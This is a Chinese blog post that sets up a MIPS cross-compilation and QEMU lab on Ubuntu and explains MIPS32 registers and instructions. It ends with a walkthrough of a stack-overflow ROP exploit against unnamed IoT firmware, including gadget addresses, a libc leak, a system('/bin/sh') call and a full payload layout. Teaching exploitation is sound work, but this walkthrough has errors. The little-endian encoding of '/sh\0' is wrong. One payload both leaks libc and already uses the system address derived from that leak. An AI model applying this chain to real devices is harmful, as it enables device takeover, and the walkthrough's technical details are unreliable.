iot-MIPS交叉编译环境搭建及其32位指令集
网络安全 iot 10

最近在进行iot方面的学习,这里出一篇环境搭建教程以及32位指令集详解

本篇中使用的是截止到目前为止最新的ubuntu版本Ubuntu 24.04 LTS, kernel版本为6.8.0-51

image.png

指令直接输入即可

# 1. 更新源
sudo apt update

# 2. 安装 QEMU 核心组件
sudo apt install -y qemu-system qemu-user-static binfmt-support

# 3. 安装 ARM 交叉编译工具链
sudo apt install -y libncurses5-dev gcc-arm-linux-gnueabi build-essential gcc-aarch64-linux-gnu

# 4. 安装 MIPS 交叉编译工具链
sudo apt install -y gcc-mips-linux-gnu gcc-mipsel-linux-gnu gcc-mips64-linux-gnuabi64 gcc-mips64el-linux-gnuabi64

# 5. 安装 GDB Multiarch (用于调试异构架构程序)
sudo apt install -y gdb-multiarch

使用的gdb为pwndbg和pwntools

测试一下环境,测试代码:

#include <stdio.h>
#include <unistd.h>

int main(){
	char buffer[0x6];
	printf("kiki1e\n");
	read(0,buffer,0x6);
	printf("%s",buffer);
	return 0;
}

指令

❯  mipsel-linux-gnu-gcc -g test.c -o test_mipsel_32
❯ readelf -h test_mipsel_32
image-ySQf.png

测试qemu

qemu-mipsel-static -L /usr/mipsel-linux-gnu/ ./test_mipsel_32
image-qQGh.png

MIPS 32位指令集详解

1. 寄存器命名约定 (Registers)

MIPS拥有32个通用寄存器,在汇编中既可以用编号($0-$31)表示,也可以用别名表示。在逆向分析中,熟记别名至关重要。

编号

别名

用途 (Usage)

$0

**$zero**

永远为0,写入无效。常用于清零操作。

$1

**$at**

(Assembler Temporary) 汇编器保留,用于伪指令转换。

$2-$3

$v0-$v1

函数返回值。$v0存放结果,$v1可用于存放64位结果的高位。

$4-$7

$a0-$a3

函数参数。前4个参数存放在这里,超过4个的参数压栈。

$8-$15

$t0-$t7

临时寄存器 (Caller saved),函数调用期间不需要保留。

$16-$23

$s0-$s7

保存寄存器 (Callee saved),函数调用期间必须保留(使用前压栈,返回前恢复)。

$24-$25

$t8-$t9

临时寄存器,同 $t0-$t7。

$26-$27

$k0-$k1

内核保留,用于中断处理。

$28

**$gp**

全局指针 (Global Pointer),用于访问静态数据。

$29

**$sp**

栈指针 (Stack Pointer),指向栈顶。

$30

**$fp**

帧指针 (Frame Pointer),指向当前栈帧的底部(有时也被用作$s8)。

$31

**$ra**

返回地址 (Return Address),jal 指令会自动将返回地址存入此寄存器。

2. 数据传输指令 (Data Transfer)

MIPS是加载/存储(Load/Store)架构,只有 loadstore 指令可以访问内存,其他指令只能操作寄存器。

加载指令 (Load)

指令

格式

描述

C语言类比

lw

lw $t0, offset($s0)

Load Word:从内存加载一个字(4字节)到寄存器

$t0 = *(int *)($s0 + offset)

lb

lb $t0, offset($s0)

Load Byte:加载一个字节(符号扩展)

$t0 = (char)*(char *)($s0 + offset)

lh

lh $t0, offset($s0)

Load Halfword:加载半字(2字节,符号扩展)

$t0 = (short)*(short *)($s0 + offset)

lbu

lbu $t0, offset($s0)

Load Byte Unsigned:加载字节(无符号扩展)

$t0 = (unsigned char)...

lui

lui $t0, 0x1234

Load Upper Immediate:加载立即数到高16位,低16位补0

$t0 = 0x1234 << 16

la

la $t0, Label

Load Address:加载地址(伪指令)

$t0 = &Label

存储指令 (Store)

指令

格式

描述

C语言类比

sw

sw $t0, offset($s0)

Store Word:将寄存器的值存入内存

*(int *)($s0 + offset) = $t0

sb

sb $t0, offset($s0)

Store Byte:存储最低字节

*(char *)($s0 + offset) = (char)$t0

sh

sh $t0, offset($s0)

Store Halfword:存储低16位

*(short *)($s0 + offset) = (short)$t0

3. 算术与逻辑运算 (Arithmetic & Logical)

操作数通常是三个:目标寄存器,源寄存器1,源寄存器2(或立即数)。

算术指令

指令

格式

描述

add

add $t0, $t1, $t2

有符号加法:$t0 = $t1 + $t2 (溢出时触发异常)

addu

addu $t0, $t1, $t2

无符号加法:$t0 = $t1 + $t2 (不检查溢出)

addi

addi $t0, $t1, 10

立即数加法:$t0 = $t1 + 10

addiu

addiu $t0, $t1, 10

无符号立即数加法:$t0 = $t1 + 10 (最常用的栈调整指令)

sub

sub $t0, $t1, $t2

减法:$t0 = $t1 - $t2

mult

mult $t1, $t2

乘法:结果保存在 HI 和 LO 特殊寄存器中

div

div $t1, $t2

除法:商存 LO,余数存 HI

mfhi

mfhi $t0

Move From HI:将 HI 寄存器的值移入 $t0

mflo

mflo $t0

Move From LO:将 LO 寄存器的值移入 $t0

逻辑指令

指令

格式

描述

and

and $t0, $t1, $t2

按位与

or

or $t0, $t1, $t2

按位或

xor

xor $t0, $t1, $t2

按位异或

nor

nor $t0, $t1, $t2

按位或非 (可用于取反 NOT)

sll

sll $t0, $t1, 4

逻辑左移 (Shift Left Logical)

srl

srl $t0, $t1, 4

逻辑右移 (Shift Right Logical)

sra

sra $t0, $t1, 4

算术右移 (保留符号位)

4. 分支跳转指令 (Branch & Jump)

控制程序流向的核心指令。

条件分支 (Branch)

指令

格式

描述

C语言类比

beq

beq $t0, $t1, Label

Branch if Equal:如果相等则跳转

if ($t0 == $t1) goto Label;

bne

bne $t0, $t1, Label

Branch if Not Equal:如果不等则跳转

if ($t0 != $t1) goto Label;

bgtz

bgtz $t0, Label

Branch if Greater Than Zero

if ($t0 > 0) goto Label;

bltz

bltz $t0, Label

Branch if Less Than Zero

if ($t0 < 0) goto Label;

无条件跳转 (Jump)

指令

格式

描述

用途

j

j Label

Jump:直接跳转到目标地址 (26位地址范围)

普通跳转

jr

jr $ra

Jump Register:跳转到寄存器指定的地址

函数返回

jal

jal Label

Jump and Link:跳转并保存下一条指令地址到 $ra

函数调用

jalr

jalr $t0

Jump and Link Register:跳转到寄存器地址并保存返回地址

间接函数调用

5. 特殊机制:延迟槽 (Delay Slot)

MIPS 架构的一个重要特性。 由于流水线设计,跳转指令(j, jal, beq 等)后面的那条指令(即延迟槽指令)会先于跳转发生前执行

汇编示例:

jal printf      ; 调用 printf 函数
move $a0, $s0   ; 【延迟槽】这条指令会在跳转生效前执行!
                ; 实际上参数 $a0 是在 printf 被调用前准备好的

MIPS32 栈溢出 + ROP 链构造全流程(以 IoT 固件栈溢出漏洞为例)

(1)漏洞环境与调试指令
  • 环境:某 MIPS32 Little-Endian 固件(Linux 3.10,glibc 2.23),漏洞函数为 “设备名称设置”(未限制输入长度,strcpy 导致栈溢出);

  • 调试工具:qemu-mipsel-static + gdb-multiarch + peda-mips

  • 核心调试指令:

    1. 启动模拟:qemu-mipsel-static -g 1234 -L ./glibc-mipsel ./firmware-bin(-L 指定交叉编译 glibc 路径,避免库依赖错误);

    2. 连接调试:gdb-multiarchset architecture mipseltarget remote localhost:1234

    3. 定位漏洞:b *0x40081560(漏洞函数中 strcpy 调用地址)→ c → 输入测试 payload(如python -c "print('A'*200)")→ 观察崩溃时寄存器状态;

    4. 计算偏移:info registers 查看 ra 寄存器值(若为 0x41414141,说明已覆盖),通过逐步调整 “A” 的长度,确定缓冲区到 ra 的偏移为 144 字节(前 128 字节覆盖缓冲区 + 寄存器保存区,后 16 字节覆盖 ra 及后续栈空间);

    5. 查找 gadget:ROPgadget --binary ./firmware-bin --only "lw|sw|move|jr|syscall" → 筛选可用 gadget(如读取 libc 地址的 lw gadget、触发 syscall 的 gadget)。

(2)ROP 链构造逻辑(应对 NX 防护,栈不可执行)

核心目标:构造 ROP 链泄露 libc 基址 → 计算 system 和 “/bin/sh” 地址 → 触发 system ("/bin/sh")。

  • 第一步:泄露 libc 基址(利用 puts 函数输出 puts@GOT 地址)

    • gadget1:lw $t9, 0x8($sp) + jr $t9 + nop(地址 0x40050230)→ 从栈中加载 puts 地址到 t9,跳转执行 puts;

    • gadget2:move $a0, $s0 + jr $t9 + nop(地址 0x40060110)→ 将 s0 寄存器的值(puts@GOT 地址)传入 a0(puts 函数参数);

    • ROP 片段:偏移填充(144字节) + gadget2地址 + puts@GOT地址 + gadget1地址 + puts@PLT地址

    • 原理:执行时先通过 gadget2 将 puts@GOT 地址传入 a0,再通过 gadget1 调用 puts@PLT,输出 puts 的真实地址(libc 中的地址),结合 glibc 2.23 MIPS 版本的 puts 与 system 偏移(如 0x25800),计算 system 地址。

  • 第二步:构造 system ("/bin/sh") 调用

    • 构造 “/bin/sh” 字符串:在 payload 中嵌入 “/bin/sh\x00”(Little-Endian 存储为 0x6e69622f、0x68732f00),地址为栈中固定偏移(如 0x7fffe500);

    • gadget3:move $a0, $s1 + jr $t9 + nop(地址 0x40070340)→ 将 s1 寄存器的值(“/bin/sh” 地址)传入 a0;

    • ROP 片段:system地址 + 0xdeadbeef(填充ra,无实际作用) + gadget3地址 + "/bin/sh"地址

    • 原理:跳转至 system 地址时,t9 已加载 system 地址,延迟槽执行 nop,a0 通过 gadget3 传入 “/bin/sh” 地址,满足 MIPS 传参约定,触发 shell。

(3)完整 payload 构造(十六进制格式,总长度 256 字节)

字段位置

内容

长度

作用

0x00-0x8F

0x41414141...(A 填充)

144B

覆盖缓冲区 + 寄存器保存区(s0-s7)

0x90-0x93

0x40060110(gadget2)

4B

准备 puts 函数参数(a0=puts@GOT)

0x94-0x97

0x400C0010(puts@GOT)

4B

传入 puts 的参数(GOT 表地址)

0x98-0x9B

0x40050230(gadget1)

4B

调用 puts 函数,泄露 libc 地址

0x9C-0x9F

0x40080020(puts@PLT)

4B

puts 的 PLT 地址(跳转至真实函数)

0xA0-0xDF

0x42424242...(B 填充)

64B

填充栈空间,避免后续指令错乱

0xE0-0xE3

0x400A0000(system)

4B

system 函数地址(泄露后计算得出)

0xE4-0xE7

0xdeadbeef(填充)

4B

填充 ra 寄存器(无实际执行)

0xE8-0xEB

0x40070340(gadget3)

4B

准备 system 参数(a0=“/bin/sh”)

0xEC-0xEF

0x7fffe500(sh 地址)

4B

“/bin/sh” 字符串在栈中的地址

0xF0-0xFF

0x6e69622f...(/bin/sh)

16B

嵌入 “/bin/sh\x00” 字符串

iot-MIPS交叉编译环境搭建及其32位指令集
https://www.kiki1e.top/archives/iot-mipsjiao-cha-bian-yi-huan-jing-da-jian-ji-qi-32wei-zhi-ling-ji
作者
kiki1e
发布于
更新于
许可